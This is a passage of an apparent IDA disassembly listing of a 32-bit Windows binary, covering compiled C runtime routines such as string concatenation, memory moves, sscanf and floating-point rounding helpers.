		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+var_24]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_24]
		cmp	dword ptr [ecx+4], 0
		jl	short loc_41C778
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		mov	byte ptr [eax],	0
		xor	ecx, ecx
		and	ecx, 0FFh
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_24]
		mov	[ecx], eax
		jmp	short loc_41C789
; ---------------------------------------------------------------------------


loc_41C778:				; CODE XREF: sub_41C6A0+B4j
		mov	edx, [ebp+var_24]
		push	edx
		push	0
		call	sub_422AF0
		add	esp, 8
		mov	[ebp+var_2C], eax


loc_41C789:				; CODE XREF: sub_41C6A0+D6j
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41C6A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C7A0	proc near		; CODE XREF: sub_40A44E+8Dp
					; sub_40AD51+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C854
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C7CA


loc_41C7BB:				; CODE XREF: sub_41C7A0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C7FB
		test	edi, 3
		jnz	short loc_41C7BB


loc_41C7CA:				; CODE XREF: sub_41C7A0+19j
					; sub_41C7A0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C7CA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C808
		test	ah, ah
		jz	short loc_41C803
		test	eax, 0FF0000h
		jz	short loc_41C7FE
		test	eax, 0FF000000h
		jnz	short loc_41C7CA


loc_41C7FB:				; CODE XREF: sub_41C7A0+20j
		dec	edi
		jmp	short loc_41C80B
; ---------------------------------------------------------------------------


loc_41C7FE:				; CODE XREF: sub_41C7A0+52j
		sub	edi, 2
		jmp	short loc_41C80B
; ---------------------------------------------------------------------------


loc_41C803:				; CODE XREF: sub_41C7A0+4Bj
		sub	edi, 3
		jmp	short loc_41C80B
; ---------------------------------------------------------------------------


loc_41C808:				; CODE XREF: sub_41C7A0+47j
		sub	edi, 4


loc_41C80B:				; CODE XREF: sub_41C7A0+5Cj
					; sub_41C7A0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C820
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C86C
		jmp	short loc_41C83C
; ---------------------------------------------------------------------------


loc_41C820:				; CODE XREF: sub_41C7A0+75j
					; sub_41C7A0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C85A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C850
		test	esi, 3
		jnz	short loc_41C820
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C86C


loc_41C83C:				; CODE XREF: sub_41C7A0+7Ej
					; sub_41C7A0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C850


loc_41C843:				; CODE XREF: sub_41C7A0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C852
		dec	ecx
		jnz	short loc_41C843


loc_41C850:				; CODE XREF: sub_41C7A0+8Bj
					; sub_41C7A0+A1j
		mov	[edi], cl


loc_41C852:				; CODE XREF: sub_41C7A0+ABj
		pop	ebx
		pop	esi


loc_41C854:				; CODE XREF: sub_41C7A0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C85A:				; CODE XREF: sub_41C7A0+85j
					; sub_41C7A0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C864:				; CODE XREF: sub_41C7A0+E4j
					; sub_41C7A0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C83C


loc_41C86C:				; CODE XREF: sub_41C7A0+7Cj
					; sub_41C7A0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C864
		test	dl, dl
		jz	short loc_41C85A
		test	dh, dh
		jz	short loc_41C8B8
		test	edx, 0FF0000h
		jz	short loc_41C8A8
		test	edx, 0FF000000h
		jnz	short loc_41C864
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C8A8:				; CODE XREF: sub_41C7A0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C8B8:				; CODE XREF: sub_41C7A0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C7A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C8D0	proc far		; CODE XREF: sub_40A57F+62p
					; sub_40A57F+6Fp ...

arg_FFFFFFFC	= dword	ptr  8
arg_0		= dword	ptr  0Ch
arg_4		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edi, [ebp+arg_FFFFFFFC]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C8F0
		cmp	edi, eax
		jb	loc_41CA68


loc_41C8F0:				; CODE XREF: sub_41C8D0+16j
		test	edi, 3
		jnz	short loc_41C90C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C92C
		rep movsd
		jmp	off_41CA18[edx*4]
; ---------------------------------------------------------------------------


loc_41C90C:				; CODE XREF: sub_41C8D0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C924
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C92C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C924:				; CODE XREF: sub_41C8D0+46j
		jmp	dword ptr loc_41CA28[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C92C:				; CODE XREF: sub_41C8D0+31j
					; sub_41C8D0+8Ej ...
		jmp	off_41C9AC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C940
		dd offset loc_41C96C
		dd offset loc_41C990
; ---------------------------------------------------------------------------


loc_41C940:				; DATA XREF: sub_41C8D0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C92C
		rep movsd
		jmp	off_41CA18[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C96C:				; DATA XREF: sub_41C8D0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C92C
		rep movsd
		jmp	off_41CA18[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41C990:				; DATA XREF: sub_41C8D0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C92C
		rep movsd
		jmp	off_41CA18[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C9AC	dd offset loc_41CA0F	; DATA XREF: sub_41C8D0:loc_41C92Cr
		dd offset loc_41C9FC
		dd offset loc_41C9F4
		dd offset loc_41C9EC
		dd offset loc_41C9E4
		dd offset loc_41C9DC
		dd offset loc_41C9D4
		dd offset loc_41C9CC
; ---------------------------------------------------------------------------


loc_41C9CC:				; CODE XREF: sub_41C8D0:loc_41C92Cj
					; DATA XREF: sub_41C8D0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41C9D4:				; CODE XREF: sub_41C8D0:loc_41C92Cj
					; DATA XREF: sub_41C8D0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41C9DC:				; CODE XREF: sub_41C8D0:loc_41C92Cj
					; DATA XREF: sub_41C8D0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41C9E4:				; CODE XREF: sub_41C8D0:loc_41C92Cj
					; DATA XREF: sub_41C8D0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41C9EC:				; CODE XREF: sub_41C8D0:loc_41C92Cj
					; DATA XREF: sub_41C8D0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41C9F4:				; CODE XREF: sub_41C8D0:loc_41C92Cj
					; DATA XREF: sub_41C8D0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41C9FC:				; CODE XREF: sub_41C8D0:loc_41C92Cj
					; DATA XREF: sub_41C8D0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CA0F:				; CODE XREF: sub_41C8D0:loc_41C92Cj
					; DATA XREF: sub_41C8D0:off_41C9ACo
		jmp	off_41CA18[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CA18	dd offset loc_41CA28	; DATA XREF: sub_41C8D0+35r
					; sub_41C8D0+92r ...
		dd offset loc_41CA30
		dd offset loc_41CA3C
		dd offset loc_41CA50
; ---------------------------------------------------------------------------


loc_41CA28:				; CODE XREF: sub_41C8D0+35j
					; sub_41C8D0+92j ...
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CA30:				; CODE XREF: sub_41C8D0+35j
					; sub_41C8D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA3C:				; CODE XREF: sub_41C8D0+35j
					; sub_41C8D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CA50:				; CODE XREF: sub_41C8D0+35j
					; sub_41C8D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA68:				; CODE XREF: sub_41C8D0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CA9C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CA90
		std
		rep movsd
		cld
		jmp	off_41CBB0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CA90:				; CODE XREF: sub_41C8D0+1B1j
					; sub_41C8D0+208j ...
		neg	ecx
		jmp	off_41CB60[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CA9C:				; CODE XREF: sub_41C8D0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CAB4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CAB4+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CAB4:				; CODE XREF: sub_41C8D0+1D6j
					; DATA XREF: sub_41C8D0+1DDr
		jmp	off_41CBB0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CAC7+1
		dd offset loc_41CAE8
; ---------------------------------------------------------------------------
		adc	bl, cl
		inc	ecx


loc_41CAC7:				; DATA XREF: sub_41C8D0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CA90
		std
		rep movsd
		cld
		jmp	off_41CBB0[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CAE8:				; DATA XREF: sub_41C8D0+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CA90
		std
		rep movsd
		cld
		jmp	off_41CBB0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CA90
		std
		rep movsd
		cld
		jmp	off_41CBB0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CB64
		dd offset loc_41CB6C
		dd offset loc_41CB74
		dd offset loc_41CB7C
		dd offset loc_41CB84
		dd offset loc_41CB8C
; ---------------------------------------------------------------------------
		xchg	eax, esp
		retf
; ---------------------------------------------------------------------------
		dw 41h
off_41CB60	dd offset loc_41CBA7	; DATA XREF: sub_41C8D0+1C2r
; ---------------------------------------------------------------------------


loc_41CB64:				; DATA XREF: sub_41C8D0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CB6C:				; DATA XREF: sub_41C8D0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CB74:				; DATA XREF: sub_41C8D0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CB7C:				; DATA XREF: sub_41C8D0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CB84:				; DATA XREF: sub_41C8D0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CB8C:				; DATA XREF: sub_41C8D0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CBA7:				; CODE XREF: sub_41C8D0+1C2j
					; DATA XREF: sub_41C8D0:off_41CB60o
		jmp	off_41CBB0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CBB0	dd offset loc_41CBC0	; DATA XREF: sub_41C8D0+1B7r
					; sub_41C8D0:loc_41CAB4r ...
		dd offset loc_41CBC8
		dd offset loc_41CBD8
		dd offset loc_41CBEC
; ---------------------------------------------------------------------------


loc_41CBC0:				; CODE XREF: sub_41C8D0+1B7j
					; sub_41C8D0:loc_41CAB4j ...
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CBC8:				; CODE XREF: sub_41C8D0+1B7j
					; sub_41C8D0:loc_41CAB4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CBD8:				; CODE XREF: sub_41C8D0+1B7j
					; sub_41C8D0:loc_41CAB4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CBEC:				; CODE XREF: sub_41C8D0+1B7j
					; sub_41C8D0:loc_41CAB4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
sub_41C8D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC10	proc near		; CODE XREF: sub_40B6EA+40p
					; .nsp0:0040DD9Cp ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_8]
		mov	[ebp+var_2C], ecx


loc_41CC25:				; CODE XREF: sub_41CC10+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_41CC49
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	42h
		push	offset aSscanf_c ; "sscanf.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41CC49
		int	3		; Trap to Debugger


loc_41CC49:				; CODE XREF: sub_41CC10+19j
					; sub_41CC10+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41CC25


loc_41CC4F:				; CODE XREF: sub_41CC10+67j
		cmp	[ebp+arg_4], 0
		jnz	short loc_41CC73
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	43h
		push	offset aSscanf_c ; "sscanf.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41CC73
		int	3		; Trap to Debugger


loc_41CC73:				; CODE XREF: sub_41CC10+43j
					; sub_41CC10+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41CC4F
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx+0Ch], 49h
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_0]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_418D00
		add	esp, 4
		mov	ecx, [ebp+var_24]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		call	sub_424CA0
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CC10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41CCD0(double)

sub_41CCD0	proc near		; CODE XREF: sub_40C926+38p

var_1C		= qword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0FFFFh
		mov	eax, dword_4510F0
		push	eax
		call	sub_427100
		add	esp, 8
		mov	[ebp+var_C], eax
		mov	ecx, dword ptr [ebp+arg_0+6]
		and	ecx, 0FFFFh
		and	ecx, 7FF0h
		cmp	ecx, 7FF0h
		jnz	loc_41CD8B
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax
		call	sub_426F00
		add	esp, 8
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jle	short loc_41CD62
		cmp	[ebp+var_10], 2
		jle	short loc_41CD2E
		cmp	[ebp+var_10], 3
		jz	short loc_41CD47
		jmp	short loc_41CD62
; ---------------------------------------------------------------------------


loc_41CD2E:				; CODE XREF: sub_41CCD0+54j
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_427100
		add	esp, 8
		fld	[ebp+arg_0]
		jmp	loc_41CE01
; ---------------------------------------------------------------------------


loc_41CD47:				; CODE XREF: sub_41CCD0+5Aj
		mov	edx, [ebp+var_C]
		push	edx		; int
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; double
		push	0Bh		; int
		call	sub_4261C0
		add	esp, 10h
		jmp	loc_41CE01
; ---------------------------------------------------------------------------


loc_41CD62:				; CODE XREF: sub_41CCD0+4Ej
					; sub_41CCD0+5Cj
		mov	edx, [ebp+var_C]
		push	edx		; int
		fld	[ebp+arg_0]
		fadd	dbl_437CF8
		sub	esp, 8
		fstp	[esp+1Ch+var_1C]
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax		; int
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; int
		push	0Bh		; int
		push	8		; int
		call	sub_426290
		add	esp, 1Ch
		jmp	short loc_41CE01
; ---------------------------------------------------------------------------


loc_41CD8B:				; CODE XREF: sub_41CCD0+31j
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax		; double
		call	sub_4261A0
		add	esp, 8
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		fnstsw	ax
		test	ah, 40h
		jz	short loc_41CDC1
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_427100
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_41CE01
; ---------------------------------------------------------------------------


loc_41CDC1:				; CODE XREF: sub_41CCD0+D9j
		mov	edx, [ebp+var_C]
		and	edx, 20h
		test	edx, edx
		jz	short loc_41CDE1
		push	0FFFFh
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_427100
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_41CE01
; ---------------------------------------------------------------------------


loc_41CDE1:				; CODE XREF: sub_41CCD0+F9j
		mov	ecx, [ebp+var_C]
		push	ecx		; int
		mov	edx, dword ptr [ebp+var_8+4]
		push	edx
		mov	eax, dword ptr [ebp+var_8]
		push	eax		; double
		mov	ecx, dword ptr [ebp+arg_0+4]
		push	ecx		; int
		mov	edx, dword ptr [ebp+arg_0]
		push	edx		; int
		push	0Bh		; int
		push	10h		; int
		call	sub_426290
		add	esp, 1Ch


loc_41CE01:				; CODE XREF: sub_41CCD0+72j
					; sub_41CCD0+8Dj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41CCD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE10	proc near		; CODE XREF: sub_41B540+Cp
					; DATA XREF: .nsp0:off_4510FCo
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_41CE50
		call	sub_427240
		mov	dword_4EF8C4, eax
		call	sub_4271C0
		fnclex
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CE10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE40	proc near		; DATA XREF: .nsp0:00451100o
					; .nsp0:00451104o
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
sub_41CE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE50	proc near		; CODE XREF: sub_41CE10+6p
		push	ebp
		mov	ebp, esp
		mov	off_451A48, offset sub_427930
		mov	off_451A4C, offset sub_427340
		mov	off_451A50, offset sub_427450
		mov	off_451A54, offset sub_427290
		mov	off_451A58, offset sub_427420
		mov	off_451A5C, offset sub_427930
		pop	ebp
		retn
sub_41CE50	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4EF8C0
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4EF8C0, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CEBC	proc near		; CODE XREF: sub_40C926+1Bp
					; sub_40C926+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41CEBC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41CEF0(double)

sub_41CEF0	proc near		; CODE XREF: sub_40C972+79p
					; sub_40D46C+3A4p

var_1C		= qword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0FFFFh
		mov	eax, dword_451108
		push	eax
		call	sub_427100
		add	esp, 8
		mov	[ebp+var_C], eax
		mov	ecx, dword ptr [ebp+arg_0+6]
		and	ecx, 0FFFFh
		and	ecx, 7FF0h
		cmp	ecx, 7FF0h
		jnz	loc_41CFAB
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax
		call	sub_426F00
		add	esp, 8
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jle	short loc_41CF82
		cmp	[ebp+var_10], 2
		jle	short loc_41CF4E
		cmp	[ebp+var_10], 3
		jz	short loc_41CF67
		jmp	short loc_41CF82
; ---------------------------------------------------------------------------


loc_41CF4E:				; CODE XREF: sub_41CEF0+54j
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_427100
		add	esp, 8
		fld	[ebp+arg_0]
		jmp	loc_41D021
; ---------------------------------------------------------------------------


loc_41CF67:				; CODE XREF: sub_41CEF0+5Aj
		mov	edx, [ebp+var_C]
		push	edx		; int
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; double
		push	0Ch		; int
		call	sub_4261C0
		add	esp, 10h
		jmp	loc_41D021
; ---------------------------------------------------------------------------


loc_41CF82:				; CODE XREF: sub_41CEF0+4Ej
					; sub_41CEF0+5Cj
		mov	edx, [ebp+var_C]
		push	edx		; int
		fld	[ebp+arg_0]
		fadd	dbl_437CF8
		sub	esp, 8
		fstp	[esp+1Ch+var_1C]
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax		; int
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; int
		push	0Ch		; int
		push	8		; int
		call	sub_426290
		add	esp, 1Ch
		jmp	short loc_41D021
; ---------------------------------------------------------------------------


loc_41CFAB:				; CODE XREF: sub_41CEF0+31j
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax		; double
		call	sub_4261A0
		add	esp, 8
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		fnstsw	ax
		test	ah, 40h
		jz	short loc_41CFE1
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_427100
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_41D021
; ---------------------------------------------------------------------------


loc_41CFE1:				; CODE XREF: sub_41CEF0+D9j
		mov	edx, [ebp+var_C]
		and	edx, 20h
		test	edx, edx
		jz	short loc_41D001
		push	0FFFFh
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_427100
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_41D021
; ---------------------------------------------------------------------------


loc_41D001:				; CODE XREF: sub_41CEF0+F9j
		mov	ecx, [ebp+var_C]
		push	ecx		; int
		mov	edx, dword ptr [ebp+var_8+4]
		push	edx
		mov	eax, dword ptr [ebp+var_8]
		push	eax		; double
		mov	ecx, dword ptr [ebp+arg_0+4]
		push	ecx		; int
		mov	edx, dword ptr [ebp+arg_0]
		push	edx		; int
		push	0Ch		; int
		push	10h		; int
		call	sub_426290
		add	esp, 1Ch


loc_41D021:				; CODE XREF: sub_41CEF0+72j
					; sub_41CEF0+8Dj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41CEF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D030	proc near		; CODE XREF: sub_428060+AEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
